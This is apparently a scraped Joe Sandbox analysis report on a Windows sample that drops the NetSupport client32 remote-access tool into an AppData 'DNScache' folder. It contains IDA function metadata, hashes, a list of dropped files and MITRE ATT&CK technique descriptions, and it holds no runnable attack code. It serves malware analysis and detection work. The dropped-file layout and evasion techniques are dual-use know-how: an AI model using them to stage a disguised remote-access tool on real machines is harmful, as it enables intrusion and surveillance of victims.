e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1113153E
m_hWnd, xrefs: 11131543

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitKillLastMessageProcessTimerwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2229609774-2830328467
Opcode ID: 7efd9d1261173574f092f6922ac4b9c3cae087aef3d2d8ccc434113dad19d795
Instruction ID: 4e4068368be341be744d48811b36ef1e60cbffd5d57875ac04b16495fcb04296
Opcode Fuzzy Hash: 7efd9d1261173574f092f6922ac4b9c3cae087aef3d2d8ccc434113dad19d795
Instruction Fuzzy Hash: 42D0A775A103659FD7209625EC85FC1B3E81F05318F044429F656671C4D2B4A4C08755

Function 1110F500 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(MSOfficeWClass,00000000), ref: 1110F50A
SendMessageA.USER32(00000000,00000414,00000000,00000000), ref: 1110F520

Strings

MSOfficeWClass, xrefs: 1110F505

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FindMessageSendWindow
String ID: MSOfficeWClass
API String ID: 1741975844-970895155
Opcode ID: 46a31d99fe000439b4b4e092a37f9d4b23f4ea2592be8fdcc0636b8b1ee6b48e
Instruction ID: 81a9ee7ca07fcbc269bd923ada5a9215bbe092865d423690373207611138517c
Opcode Fuzzy Hash: 46a31d99fe000439b4b4e092a37f9d4b23f4ea2592be8fdcc0636b8b1ee6b48e
Instruction Fuzzy Hash: C9D0127475035977E7001AA1DC4AF99FB6CDB85B55F108024F7059A0C1DBB1F440876A

Function 1101D010 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(00000000), ref: 1101D034

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1101D01E
m_hWnd, xrefs: 1101D023

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMenuMessageProcesswsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1590435379-2830328467
Opcode ID: 5bd23d1dd7980658311e7018b90eacaca5f0859d9f29dfbf23970d11bb3c9e49
Instruction ID: be16c6ed80d1fcc6130c6cf6e9c8d4560682e5ed8d3d25c7b400d1e10b8b5983
Opcode Fuzzy Hash: 5bd23d1dd7980658311e7018b90eacaca5f0859d9f29dfbf23970d11bb3c9e49
Instruction Fuzzy Hash: B5D022B1E0023AAFC310EA51EC88FC6B2A86B00258F044469F12062000E278E480C380

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5q1Wm5VlqL.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\DNScache\AudioCapture.dll

C:\Users\user\AppData\Local\DNScache\HTCTL32.DLL

C:\Users\user\AppData\Local\DNScache\NSM.LIC

C:\Users\user\AppData\Local\DNScache\PCICHEK.DLL

C:\Users\user\AppData\Local\DNScache\PCICL32.DLL

C:\Users\user\AppData\Local\DNScache\TCCTL32.DLL

C:\Users\user\AppData\Local\DNScache\client32.exe

C:\Users\user\AppData\Local\DNScache\client32.ini

C:\Users\user\AppData\Local\DNScache\msvcr100.dll

C:\Users\user\AppData\Local\DNScache\nskbfltr.inf

C:\Users\user\AppData\Local\DNScache\nsm_vpro.ini

C:\Users\user\AppData\Local\DNScache\pcicapi.dll

Windows Analysis Report
5q1Wm5VlqL.exe

Function 00007FF749E1721C Relevance: 54.6, APIs: 17, Strings: 14, Instructions: 372
libraryloaderCOMMON

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre